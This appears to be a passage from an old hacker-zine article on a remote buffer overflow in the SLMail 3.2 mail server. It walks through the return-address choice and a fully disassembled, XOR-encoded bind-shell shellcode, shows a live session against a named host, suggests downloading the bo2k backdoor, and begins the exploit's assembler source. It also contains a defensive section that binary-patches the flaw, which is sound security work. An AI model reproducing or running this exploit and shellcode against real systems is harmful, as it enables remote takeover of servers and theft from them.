We have to avoid null bytes so unfortunately we can't use the exe itself, as it is loaded at the default base address of 0x00400000. We could use a location in the executable if we were to place our offset at the end of our data, as we'd have the null at the end of the string, but that doesn't leave us with enough space for a decent payload. Remember we don't want this to be dependent on the version of NT at all, so we either need to use a DLL included with SLMail or an external DLL that is static on all service packs.

So let's take a look at what else has been loaded from that process. SysInternals (http://www.sysinternals.com) have a handy little util called

listdlls which will show you just that.

C:\tools>listdlls slmail.exe

ListDLLs V2.1

Copyright (C) 1997‑1999 Mark Russinovich http://www.sysinternals.com

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

slmail.exe pid: 159

Base Size Version Path

0x00400000 0x62000 3.02.0001.1204 E:\PROGRA~1\SLmail\slmail.exe 0x77f60000 0x5c000 4.00.1381.0130 E:\WINNT\System32\ntdll.dll 0x10000000 0xc000 2.03.0000.0000 E:\WINNT\system32\OpenC32.dll 0x77f00000 0x5e000 4.00.1381.0133 E:\WINNT\system32\KERNEL32.dll 0x77ed0000 0x2c000 4.00.1381.0115 E:\WINNT\system32\GDI32.dll 0x77e70000 0x54000 4.00.1381.0133 E:\WINNT\system32\USER32.dll 0x77dc0000 0x3f000 4.00.1381.0121 E:\WINNT\system32\ADVAPI32.dll 0x77e10000 0x57000 4.00.1381.0131 E:\WINNT\system32\RPCRT4.dll 0x77d80000 0x32000 4.00.1381.0027 E:\WINNT\system32\comdlg32.dll 0x77c40000 0x13c000 4.00.1381.0114 E:\WINNT\system32\SHELL32.dll 0x77aa0000 0x74000 4.72.3609.2200 E:\WINNT\system32\COMCTL32.dll 0x776d0000 0x8000 4.00.1381.0131 E:\WINNT\system32\WSOCK32.dll 0x776b0000 0x14000 4.00.1381.0133 E:\WINNT\system32\WS2_32.dll 0x78000000 0x40000 6.00.8337.0000 E:\WINNT\system32\MSVCRT.dll 0x776a0000 0x7000 4.00.1381.0031 E:\WINNT\system32\WS2HELP.dll 0x77a90000 0xb000 4.00.1371.0001 E:\WINNT\system32\VERSION.dll 0x779c0000 0x8000 4.00.1371.0001 E:\WINNT\system32\LZ32.dll 0x77bf0000 0x7000 4.00.1381.0072 E:\WINNT\system32\rpcltc1.dll 0x77660000 0xf000 4.00.1381.0037 E:\WINNT\system32\msafd.dll 0x77690000 0x9000 4.00.1381.0037 E:\WINNT\System32\wshtcpip.dll 0x74ff0000 0xd000 4.00.1381.0131 E:\WINNT\System32\rnr20.dll

There's not much loaded there in the way of its own DLL's, so we'll have to pick something external. LZ32.DLL will do, static on all service packs, has the code we need and the offset has no null bytes.

We find at location 0x779C1CAA we have a "call edi", that'll do nicely.

The next problem ‑ we need to know where in our buffer to stuff our offset. A quick and easy way to find this out is to fill your buffer with a heap of independent bytes, 1A, 2A, 3A, 4A....A1, A2 and so on, and you'll be able to pinpoint the location when eip is overwritten.

Quickly we notice that the location we need is about 300 bytes into our buffer, so we have:

expn <299 nops> 0x779c1caa

So in its current form, if we were to send that data, eip would return to the offset 0x779c1caa which would call edi and execute our nops ‑ before the offset we will also add in a short jump to bypass the garbage instructions that our offset was translated to.

Now all that remains is to tack our payload on to the end.

It's time.

The Payload.

~~~~~~~~~~~~

Note: the ideas for the string table/jump table came from DilDog, very cool. Amazing work you do.

The goal:

An exploit that spawns a command prompt directly on a specified port, and will execute successfully on all NT versions.

Considerations:

‑ We are unsure of the exact OS version.

‑ Function locations will differ depending on versions/service packs/upgrades. ‑ The import table for SLMail does not have all needed functions. ‑ We must avoid null bytes, carriage returns etc.

We can take care of the first three problems by linking to the IAT of slmail, and using those procedures to load external functions. As for the fourth? We'll just have to be clever.

In order for me to keep the shellcode as generic as possible, we will create a jump table of all external functions we will be using, without relying on SLMails imports ‑ with two exceptions.

For us to be able to load DLL's and retrieve the addresses for needed procedures we will need to reference two functions from the import table of slmail.exe:

GetProcAddress and LoadLibraryA.

Before I show the table we create, I want to give a brief rundown on what's involved when spawning a remote shell under Windows NT. Unfortunately it is not anywhere near as straight forward as when you're working with *nix, but, of course, it's do‑able. To be able to spawn a full‑blown remote shell, we need to be able to redirect standard output and standard error to the connected user, and the connected user must have control over standard input.

The answer?

Anonymous Pipes.

The primary use for anonymous pipes is to exchange data between parent/child processes, or just between child processes.

The anonymous pipe is a one‑way pipe ‑ the data will flow in one direction ‑ from one end, to the other. The usefulness is apparent when we are working with the console, as we can replace the handles of stdin/stdout/stderr with handles to the ends of the created pipes. We can then read and write to the pipes with the Read and Writefile API's. From the read end of the stdout pipe, we send the buffer to the connected socket and subsequently what we receive from the connected socket we fire off to the write end of the stdin pipe.

To keep it generic our string table is unfortunately going to have to include a fair few functions, all taking up precious bytes. When you are strapped for stack space you'll want to make use of more functions from your targets IAT.

The table:

db "KERNEL32",0;string to push for LoadLibrary.

db "CreatePipe",0

db "GetStartupInfoA",0

;we will modify the start‑up structure at runtime as the structure is far ;too large to include in the shellcode.

db "CreateProcessA",0

db "PeekNamedPipe",0

db "GlobalAlloc",0

db "WriteFile",0

db "ReadFile",0

db "Sleep",0

db "ExitProcess",0

db "WSOCK32",0

db "socket",0

db "bind",0

db "listen",0

db "accept",0

db "send",0

db "recv",0

sockstruc STRUCT

sin_family dw 0002h

sin_port dw ?

sin_addr dd ?

sin_zero db 8 dup (0)

sockstruc ENDS

;the sin_port word value will be filled by the exploit client before the ;shellcode is sent.

db "cmd.exe",0

dd 0ffffffffh

db 00dh, 00ah

;the string to push to invoke the command prompt.

;the dword at the end will be used to reference the end of the string table ;at runtime.

Now, I know what you're thinking ‑ all those strings are null‑terminated, and the structures contain null bytes. To get around this, we will XOR the string table with 0x99, except for the carriage, linefeed, and the 0xFFFFFFFF dword.

If all went to plan, your encrypted table should look a little something like this:

00000280 .. .. .. .. .. .. .. .. .. .. .. D2 DC CB D7 DC .....

00000290 D5 AA AB 99 DA EB FC F8‑ED FC C9 F0 E9 FC 99 DE ................ 000002A0 FC ED CA ED F8 EB ED EC‑E9 D0 F7 FF F6 D8 99 DA ................ 000002B0 EB FC F8 ED FC C9 EB F6‑FA FC EA EA D8 99 DA F5 ................ 000002C0 F6 EA FC D1 F8 F7 FD F5‑FC 99 C9 FC FC F2 D7 F8 ................ 000002D0 F4 FC FD C9 F0 E9 FC 99‑DE F5 F6 FB F8 F5 D8 F5 ................ 000002E0 F5 F6 FA 99 CE EB F0 ED‑FC DF F0 F5 FC 99 CB FC ................ 000002F0 F8 FD DF F0 F5 FC 99 CA‑F5 FC FC E9 99 DC E1 F0 ................ 00000300 ED C9 EB F6 FA FC EA EA‑99 CE CA D6 DA D2 AA AB ................ 00000310 99 EA F6 FA F2 FC ED 99‑FB F0 F7 FD 99 F5 F0 EA ................ 00000320 ED FC F7 99 F8 FA FA FC‑E9 ED 99 EA FC F7 FD 99 ................ 00000330 EB FC FA EF 99 9B 99 82‑A1 99 99 99 99 99 99 99 ................ 00000340 99 99 99 99 99 FA F4 FD‑B7 FC E1 FC 99 FF FF FF ................

00000350 FF 0D 0A

This will be tacked on to the very end of our shellcode.

Now it is time to get to the good stuff.

Note: this exploit assumes a base address of 0x00400000

The recommended way to follow this is to step over the code in your debugger while reading the explanations.

:00000138 33C0 xor eax, eax

:0000013A 50 push eax

:0000013B F7D0 not eax

:0000013D 50 push eax

:0000013E 59 pop ecx

:0000013F F2 repnz

:00000140 AF scasd

:00000141 59 pop ecx

:00000142 B1C6 mov cl, C6

:00000144 8BC7 mov eax, edi

:00000146 48 dec eax

:00000147 803099 xor byte ptr [eax], 99

:0000014A E2FA loop 00000146

This sets edi to the end of our encrypted string table by scanning the buffer for our dword (0xFFFFFFFF), ecx holds the amount of characters to decrypt. edi is then moved to eax, and each byte is decrypted (XORed with 0x99). eax now points to the beginning of the string table.

:0000014C 33F6 xor esi, esi

:0000014E 96 xchg eax,esi

:0000014F BB99101144 mov ebx, 44111099

:00000154 C1EB08 shr ebx, 08

:00000157 56 push esi

:00000158 FF13 call dword ptr [ebx]

Here we make a call to LoadLibraryA, pushing esi as the parameter ‑ which points to "KERNEL32", the first string of the table. The call is made by giving ebx the location of LoadLibrary from SLMails import table, and we tack on an extra byte to avoid the use of a null character. We then kill it by shifting the value right one byte. LoadLibraryA = 00441110h

:0000015A 8BD0 mov edx, eax

:0000015C FC cld

:0000015D 33C9 xor ecx, ecx

:0000015F B10B mov cl, 0B

:00000161 49 dec ecx

:00000162 32C0 xor al, al

:00000164 AC lodsb

:00000165 84C0 test al, al

:00000167 75F9 jne 00000162

We give ecx the amount of procedures we have specified from the kernel, as we will be creating a jump table for our functions. Then we just increment esi until we reach a null byte ‑ moving to the next string name.

:00000169 52 push edx

:0000016A 51 push ecx

:0000016B 56 push esi

:0000016C 52 push edx

:0000016D B30C mov bl, 0C

:0000016F FF13 call dword ptr [ebx]

:00000171 AB stosd

:00000172 59 pop ecx

:00000173 5A pop edx

:00000174 E2EC loop 00000162

Here we call GetProcAddress, ebx already had the value from LoadLibrary, so we only need to modify the low byte. We then store the address at edi, and loop for the rest of the functions. We now have a jump table at edi ‑ we can now call each function indirectly from edi. e.g.: call dword ptr [edi‑0c].

:00000176 32C0 xor al, al

:00000178 AC lodsb

:00000179 84C0 test al, al

:0000017B 75F9 jne 00000176

:0000017D B310 mov bl, 10

:0000017F 56 push esi

:00000180 FF13 call dword ptr [ebx]

:00000182 8BD0 mov edx, eax

:00000184 FC cld

:00000185 33C9 xor ecx, ecx

:00000187 B106 mov cl, 06

:00000189 32C0 xor al, al

:0000018B AC lodsb

:0000018C 84C0 test al, al

:0000018E 75F9 jne 00000189

:00000190 52 push edx

:00000191 51 push ecx

:00000192 56 push esi

:00000193 52 push edx

:00000194 B30C mov bl, 0C

:00000196 FF13 call dword ptr [ebx]

:00000198 AB stosd

:00000199 59 pop ecx

:0000019A 5A pop edx

:0000019B E2EC loop 00000189

This is just a repeat of the earlier code, except now we are extending our jump table to include the socket functions.

:0000019D 83C605 add esi, 00000005

:000001A0 33C0 xor eax, eax

:000001A2 50 push eax

:000001A3 40 inc eax

:000001A4 50 push eax

:000001A5 40 inc eax

:000001A6 50 push eax

:000001A7 FF57E8 call [edi‑18]

:000001AA 93 xchg eax,ebx

Here we push the values SOCK_STREAM, AF_INET, and null for the protocol. We then call the 'socket' function.

Note: We don't need to call WSAStartup as the target process has taken care of that for us

We also set esi to point to the socket structure, and we store the return value from the socket procedure in ebx so it won't be destroyed by following functions.

:000001AB 6A10 push 00000010

:000001AD 56 push esi

:000001AE 53 push ebx

:000001AF FF57EC call [edi‑14]

This just makes a call to bind, pushing our socket handle and the socket structure as parameters.

:000001B2 6A02 push 00000002

:000001B4 53 push ebx

:000001B5 FF57F0 call [edi‑10]

Now we call listen, socket handle as the parameter.

:000001B8 33C0 xor eax, eax

:000001BA 57 push edi

:000001BB 50 push eax

:000001BC B00C mov al, 0C

:000001BE AB stosd

:000001BF 58 pop eax

:000001C0 AB stosd

:000001C1 40 inc eax

:000001C2 AB stosd

:000001C3 5F pop edi

:000001C4 48 dec eax

:000001C5 50 push eax

:000001C6 57 push edi

:000001C7 56 push esi

:000001C8 AD lodsd

:000001C9 56 push esi

:000001CA FF57C0 call [edi‑40]

Now we make our first call to CreatePipe, we create our SECURITY_ATTRIBUTES structure at edi, and specify that the returned handles are inheritable. esi receives our read and write handles returned from the call.

:000001CD 48 dec eax

:000001CE 50 push eax

:000001CF 57 push edi

:000001D0 AD lodsd

:000001D1 56 push esi

:000001D2 AD lodsd

:000001D3 56 push esi

:000001D4 FF57C0 call [edi‑40]

Our second call to CreatePipe, again our read and write handles are stored at esi.

:000001D7 48 dec eax

:000001D8 B044 mov al, 44

:000001DA 8907 mov dword ptr [edi], eax :000001DC 57 push edi

:000001DD FF57C4 call [edi‑3C]

We make a call to GetStartupInfo, the structure will be stored at edi which we give the size value. The structure will need to be modified.

:000001E0 33C0 xor eax, eax

:000001E2 8B46F4 mov eax, dword ptr [esi‑0C] :000001E5 89473C mov dword ptr [edi+3C], eax :000001E8 894740 mov dword ptr [edi+40], eax :000001EB 8B06 mov eax, dword ptr [esi] :000001ED 894738 mov dword ptr [edi+38], eax :000001F0 33C0 xor eax, eax

:000001F2 66B80101 mov ax, 0101

:000001F6 89472C mov dword ptr [edi+2C], eax :000001F9 57 push edi

:000001FA 57 push edi

:000001FB 33C0 xor eax, eax

:000001FD 50 push eax

:000001FE 50 push eax

:000001FF 50 push eax

:00000200 40 inc eax

:00000201 50 push eax

:00000202 48 dec eax

:00000203 50 push eax

:00000204 50 push eax

:00000205 AD lodsd

:00000206 56 push esi

:00000207 33C0 xor eax, eax

:00000209 50 push eax

:0000020A FF57C8 call [edi‑38]

By all means feel free to improve this code to drop some bytes, for example, using stosd to modify edi. At the time I was just trying to make it _work_, and wasn't particularly worried about the size. What the hell is going on here anyway?

We are modifying the startupinfo structure before our call to CreateProcess.

We replace StdOutput and StdError with the handle of the write end of our first created pipe. We then replace StdInput with the read handle of our second created pipe. The flags value we set to STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES, and we set the ShowWindow value to SW_HIDE. esi points to "cmd.exe" and we make the call to CreateProcess.

:0000020D FF76F0 push [esi‑10]

:00000210 FF57CC call [edi‑34]

:00000213 FF76FC push [esi‑04]

:00000216 FF57CC call [edi‑34]

CloseHandle is called to close the first read and the second write handles we used for our StdHandles.

:00000219 48 dec eax

:0000021A 50 push eax

:0000021B 50 push eax

:0000021C 53 push ebx

:0000021D FF57F4 call [edi‑0C]

:00000220 8BD8 mov ebx, eax

Now we call accept and wait for a connection. We store the returned handle in ebx.

:00000222 33C0 xor eax, eax

:00000224 B404 mov ah, 04

:00000226 50 push eax

:00000227 C1E804 shr eax, 04

:0000022A 50 push eax

:0000022B FF57D4 call [edi‑2C]

:0000022E 8BF0 mov esi, eax

Here we create a 1024 byte buffer with GlobalAlloc, pushing GMEM_FIXED+GMEM_ZEROINIT which will return a handle that we place in esi.

:00000230 33C0 xor eax, eax

:00000232 8BC8 mov ecx, eax

:00000234 B504 mov ch, 04

:00000236 50 push eax

:00000237 50 push eax

:00000238 57 push edi

:00000239 51 push ecx

:0000023A 50 push eax

:0000023B FF77A8 push [edi‑58]

:0000023E FF57D0 call [edi‑30]

:00000241 833F01 cmp dword ptr [edi], 00000001 :00000244 7C22 jl 00000268

Now we start to get to the guts, this makes a call to PeekNamedPipe to see if we have any data in the read end of the pipe (StdOutput/StdError), if not we skip the following readfile/send functions as we are waiting on input from the user. edi stores the number of bytes read, [edi‑58] is the handle to the read end of the pipe.

:00000246 33C0 xor eax, eax

:00000248 50 push eax

:00000249 57 push edi

:0000024A FF37 push dword ptr [edi]

:0000024C 56 push esi

:0000024D FF77A8 push [edi‑58]

:00000250 FF57DC call [edi‑24]

:00000253 0BC0 or eax, eax

:00000255 742F je 00000286

We call ReadFile and fill our created buffer with the data from the read‑end of the pipe, we push the bytesread parameter from our earlier call to PeekNamedPipe. If the function fails, i.e.: the command prompt was exited ‑ then we jump to the end of our shellcode and call ExitProcess, which will kill the slmail process.

:00000257 33C0 xor eax, eax

:00000259 50 push eax

:0000025A FF37 push dword ptr [edi]

:0000025C 56 push esi

:0000025D 53 push ebx

:0000025E FF57F8 call [edi‑08]

Now we call send to fire the data from our buffer off to the connected user.

:00000261 6A50 push 00000050

:00000263 FF57E0 call [edi‑20]

:00000266 EBC8 jmp 00000230

Call Sleep and jump back to PeekNamedPipe.

:00000268 33C0 xor eax, eax

:0000026A 50 push eax

:0000026B B404 mov ah, 04

:0000026D 50 push eax

:0000026E 56 push esi

:0000026F 53 push ebx

:00000270 FF57FC call [edi‑04]

This is the point we get to if there was no data in the read pipe, so we call recv and receive input from the user.

:00000273 57 push edi

:00000274 33C9 xor ecx, ecx

:00000276 51 push ecx

:00000277 50 push eax

:00000278 56 push esi

:00000279 FF77AC push [edi‑54]

:0000027C FF57D8 call [edi‑28]

We push the handle of the write end of our pipe (StdInput), and we call WriteFile sending the buffer from the user. i.e.: we make it happen.

:0000027F 6A50 push 00000050

:00000281 FF57E0 call [edi‑20]

:00000284 EBAA jmp 00000230

Call Sleep again and jump back to PeekNamedPipe.

:00000286 50 push eax

:00000287 FF57E4 call [edi‑1C]

:0000028A 90 nop

The shell has been exited so we call ExitProcess to clean up our mess.

And there we have it, full control is at our fingertips.

Before we enter the last section, on modifying the executable of our target, I'll give a quick example of the exploit in action.

Ownership.

~~~~~~~~~~

E:\exploits>slxploit supermax.gen.nz 8376 1234

SLMail (3.2.3113) remote.

by Barnaby Jack AKA dark spyrit <dspyrit@beavuh.org>

usage: slxploit <host> <port> <port to bind shell>

e.g. ‑ slxploit host.com 27 1234

waiting for response....

220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here

sent.. spawn connection now.

Trying 192.168.10.3...

Connected to supermax.gen.nz.

Escape character is '^]'.

Microsoft(R) Windows NT(TM)

(C) Copyright 1985‑1996 Microsoft Corp.

E:\Program Files\SLmail\SYSTEM>

E:\Program Files\SLmail\SYSTEM>at

The service has not been started.

E:\Program Files\SLmail\SYSTEM>net start schedule

The Schedule service is starting.

The Schedule service was started successfully.

E:\Program Files\SLmail\SYSTEM>time

The current time is: 23:49:36.36

Enter the new time:

E:\Program Files\SLmail\SYSTEM>at 23:51:00 net start slmail

Added a new job with job ID = 0

E:\Program Files\SLmail\SYSTEM>net view

Server Name Remark

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

\\SUPERMAX

The command completed successfully.

E:\Program Files\SLmail\SYSTEM>net send supermax beavuh 99.

The message was successfully sent to SUPERMAX.

E:\Program Files\SLmail\SYSTEM>exit

exit

Connection closed by foreign host.

Plenty of options, you could also create a file with ftp commands, to download bo2k for example, and use NT's console ftp.

e.g. ftp ‑s:file host.

Section 3: The Remedy.

~~~~~~~~~~~~~~~~~~~~~~

This is perhaps the most important section of the paper, and is not just useful for preventing vulnerabilities ‑ the ability to add your own code leaves open an endless amount of possibilities as you can imagine.

I advise that you have a look at some documentation on the PE file format, Matt Peitreks book "Windows 95 System Programming Secrets" has an excellent section, otherwise take a look at http://msdn.microsoft.com/library/specs/msdn_pecoff.htm for Microsoft's

documentation.

Consider this hypothetical situation for a minute:

A huge hole is found rendering most NT servers on the internet vulnerable to remote system access. Microsoft stumbles around for a week or so before releasing a suitable patch, while during this time some of the largest corporations have little to do but pray they won't fall victim to an attack, or make the change to alternative software. Hey, that happened a couple of months ago! :) But there is an alternative, patch the software yourself.

There are 3 main approaches we can take to add our own code.

1, Add our code to unused space in a section.

2, Increase the size of the last section.

3, Add a new section.

The first is the technique we will use, to see an example of the second approach have a look at my trojan netstat which will be available at http://www.rootkit.com in the near future.

Adding your own section ‑ at least as far as what we are doing, won't normally be needed, so I won't cover the techniques in this document.

Now we need to think about the code we will add, here's a few options:

Add our own string length routine, and print out an error message depending on the length.. then skip the nasty functions.

Add our own string length routine, and place a null at the beginning of the buffer depending on the length, so effectively the program thinks there was no input and will return a standard 'syntax error' message.

Replace the offending strcpy function with a bounds checking version ‑ i.e.: do what they should have done in the first place.

I think it's obvious the approach we will take, the first option would be too involved, the second just isn't delicate ‑ so we'll go with the last.

It just so happens that in this case lstrcpynA is in our targets import table (if this wasn't the case? we would use the same techniques as shown in the shellcode ‑ using the LoadLibrary and GetProcAddress procedures).

Grab PE Dump or dumpbin, whatever you have on you.. and dump the section table for slmail.exe, if you haven't worked with the PE header before I'll explain a little as we go.

Section Table

01 .text VirtSize: 0003F99B VirtAddr: 00001000

raw data offs: 00001000 raw data size: 00040000 relocation offs: 00000000 relocations: 00000000

line # offs: 00000000 line #'s: 00000000 characteristics: 60000020

CODE MEM_EXECUTE MEM_READ

The section we will be working with is the .text section ‑ where the code is located. We can see here that the Virtual Size (the actual size of the code) is somewhat smaller than the raw data size (the amount of space that is actually taken up). So if we subtract the Virtual Size from the raw data size :

0x40000 ‑ 0x3f99b = 0x665

That gives us about 1.6k to play with, easily enough space for what we want to do.

Why do we have this extra space?

Because compilers usually round up the size to align the section, which is handy for us :)

Fire up your hex editor, and jump to the address 0x4099b (virtual size + raw data offset) and you'll notice we have a ton of null bytes, about 1.6k worth in fact. This is a perfect place to dump our code ‑ but before we do..

We need to increase the Virtual Size to allow for our code, we may as well increase it to the largest available size, it won't hurt. We also need to modify the flags, as you saw from the dump the .text section is defined code, readable and executable.

The values are as follows:

IMAGE_SCN_CNT_CODEequ 000000020h

IMAGE_SCN_MEM_EXECUTEequ 020000000h

IMAGE_SCN_MEM_READ equ 040000000h

To get the final value we OR each of the flags, which results in 060000020h.

But, if we wish to write data to our code space, to avoid page faults we also need to make the section writeable ‑ we may not have the need, but it doesn't hurt to change the flags anyway.

IMAGE_SCN_MEM_WRITE equ 080000000h

So we OR this value with 060000020h and we get 0E0000020h. This is the new value we will add to the exe.

Jump back into the hex editor and we'll make these changes permanent, to find the Virtual Size value for the .text section, simply do a search for .text and the following value is the culprit.

000001D0 00 00 00 00 00 00 00 00‑2E 74 65 78 74 00 00 00 .........text...

000001E0 9B F9 03 00 <==== .

To set this to the maximum allowed value we just replace with the raw data size:

000001E0 00 00 04 00

And, we also make the change to the flags.

000001D0 00 00 00 00 00 00 00 00‑2E 74 65 78 74 00 00 00 .........text... 000001E0 9B F9 03 00 00 10 00 00‑00 00 04 00 00 10 00 00 ................ 000001F0 00 00 00 00 00 00 00 00‑00 00 00 00 20 00 00 60 <=====

We replace with our new value that allows us to write to the code space:

000001F0 00 00 00 00 00 00 00 00‑00 00 00 00 20 00 00 E0

We'll quickly verify our changes with PE Dump, then we can actually get to what we're here for, getting our code executing.

Section Table

01 .text VirtSize: 00040000 VirtAddr: 00001000

raw data offs: 00001000 raw data size: 00040000 relocation offs: 00000000 relocations: 00000000

line # offs: 00000000 line #'s: 00000000 characteristics: E0000020

CODE MEM_EXECUTE MEM_READ MEM_WRITE

And there we have it, our virtual size equals the raw data size, and we now also have the writeable flag.

What we need to do now, is find a location to jump to our own code.

004364AE push edi

004364AF push eax ; we jump here.

004364B0 push esi

004364B1 call ds:lstrcpyA

We'll get rid of the strcpy call, and make a jump to our code at the 'push eax'. We know our code resides at RVA (relative virtual address) 0x4099b so we make our jump. We can assemble our jumps in tasm:

jmp $+(04099bh‑0364afh)

(RVA of our code ‑ RVA of current location)

Or, we can do it straight from the debugger.

Let's make it perm.. the code follows:

:004364AA 8B742478 mov esi, dword ptr [esp+78] :004364AE 57 push edi

:004364AF E9E7A40000 jmp 0044099B ;jump to our code

* Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004409A9(U)

|

:004364B4 59 pop ecx ;restore ecx on return :004364B5 90 nop

:004364B6 90 nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004364AF(U)

|

:0044099B 51 push ecx ;preserve ecx :0044099C 52 push edx ;preserve edx :0044099D E800000000 call 004409A2

* Referenced by a CALL at Address:

|:0044099D

|

:004409A2 5A pop edx ;get eip :004409A3 81EAA2090400 sub edx, 000409A2 ;get image base :004409A9 81C264110400 add edx, 00041164 ;point to strcpyn :004409AF 33C9 xor ecx, ecx

:004409B1 B160 mov cl, 60 ;allow 96 bytes :004409B3 51 push ecx

:004409B4 50 push eax ;our input :004409B5 56 push esi ;buffer :004409B6 FF12 call dword ptr [edx] ;call strcpyn :004409B8 5A pop edx ;restore edx :004409B9 E9F65AFFFF jmp 004364B4 ;back to proggie.

Yeah, I know, W32Dasm ‑ but hey, its fast and easy for showing code dumps :)

The stack pointer is basically kept in tact, so we don't need to worry about screwing with it.

Now, this should have solved our problem ‑ let's check.

220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here expn <10 or so lines of x's>

Connection closed by foreign host.

Whoops, the slmail process dies.

Guess what? there's another overflow. This software is shocking, widely used shocking software might I add. Well, let us fix this one also.

A couple of rets, and we quickly find the offending code:

00404bb1movesi, eax

00404bb3pushedi

00404bb4pushecx

00404bb5call[KERNEL32!lstrcpy]

edi contains our input, ecx the buffer.

Here we go again.

We'll put our code directly after our earlier modifications (0x409be), and we'll kill this strcpy call and jump to our code at 'push edi'.

:00404BB1 8BF0 mov esi, eax

:00404BB3 E906BE0300 jmp 004409BE ;jump to our code

* Referenced by a (U)nconditional or (C)onditional Jump at Address: |:004409E0(U)

|

:00404BB8 90 nop

:00404BB9 90 nop

:00404BBA 90 nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address: |:00404BB3(U)

|

:004409BE 90 nop

:004409BF 52 push edx ;preserve edx :004409C0 E800000000 call 004409C5

* Referenced by a CALL at Address:

|:004409C0

|

:004409C5 5A pop edx ;get eip

:004409C6 81EAC5090400 sub edx, 000409C5 ;get image base :004409CC 81C264110400 add edx, 00041164 ;address for strcpyn :004409D2 33C0 xor eax, eax

:004409D4 B060 mov al, 60 ;allow 96 byes :004409D6 50 push eax

:004409D7 57 push edi ;input :004409D8 51 push ecx ;buffer :004409D9 FF12 call dword ptr [edx] ;call strcpyn :004409DB 5A pop edx ;restore edx

:004409DC C6476000 mov [edi+60], 00;cut the goddamn

input short,

incase there is

even more overflows

:004409E0 E9D341FCFF jmp 00404BB8 ;return to the prog.

This time...

220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxx

550 Unable to find list 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'.

quit

221 supermax.gen.nz Service Closing

Connection closed by foreign host.

And so it was done, 15 minutes work and we've fixed a terribly serious hole.

No source? no problem.

The binary for this quick patch will be available at http://www.beavuh.org,

although, a vendor patch is seriously recommended.

This will prevent break‑ins from the exploit that accompanies this paper, but there are far too many exploitable holes in this software ‑ and no doubt after reading this other exploits are in the works.

Conclusion.

~~~~~~~~~~~

Windows 9x/NT has a had a relatively easy ride as far as buffer overflows go a change is coming. Although some "big" software has been affected as of late, the limitations of the payload and the system dependency limited the wide‑scale fear.

It's time to recognize.

The fact that I picked on 3rd party software for this article, rather than hitting the giant itself, is not because of lack of opportunities ‑ trust me, there is a lot hiding behind the bloat.

Navigate the code, work those registers, and you'll come up trumps guaranteed.

Fight those who try to outlaw our methods, support the open source movement, and support full disclosure ‑ it is a good thing.

"One future. Two choices. Oppose them or let them destroy us."

‑Propagandhi.

Greets and thanks.

~~~~~~~~~~~~~~~~~~

neophyte, Greg Hoglund, c33, sacX, tree, casper, ripper, ryan, luny, sycotic, blitz, marc, Interrupt, ambient empire, DilDog, the beavuh & mulysa crew, the eEye team, the rootkit crew, attrition, w00w00, L0pht, ADM, Phrack, Security Focus, technotronic, HNN, Packet Storm Security.. and everyone else I forgot.

The Code.

~~~~~~~~~

The assembler source code follows, and the shellcode for the exploit in c format if anyone wishes to port.

<++> P55/Win32‑overflows/slxploit.asm !e7b4ebd0

;‑‑‑‑‑‑‑(code)‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

; This is just a shell from an old exploit of mine, so the code is somewhat ; dodgy ‑ and no real error checking.

; Live with it.

;

; The binary is available at http://www.beavuh.org.

;

; To assemble:

;

; tasm32 ‑ml slxploit.asm

; tlink32 ‑Tpe ‑c ‑x sxlploit.obj ,,, import32

;

; TASM 5 required!

;

; dark spyrit / barnaby jack <dspyrit@beavuh.org>

.386p

locals

jumps

.model flat, stdcall

extrn GetCommandLineA:PROC

extrn GetStdHandle:PROC

extrn WriteConsoleA:PROC

extrn ExitProcess:PROC

extrn WSAStartup:PROC

extrn connect:PROC

extrn send:PROC

extrn recv:PROC

extrn WSACleanup:PROC

extrn gethostbyname:PROC

extrn htons:PROC

extrn socket:PROC

extrn inet_addr:PROC

extrn closesocket:PROC

.data

sploit_length equ 851

sploit:

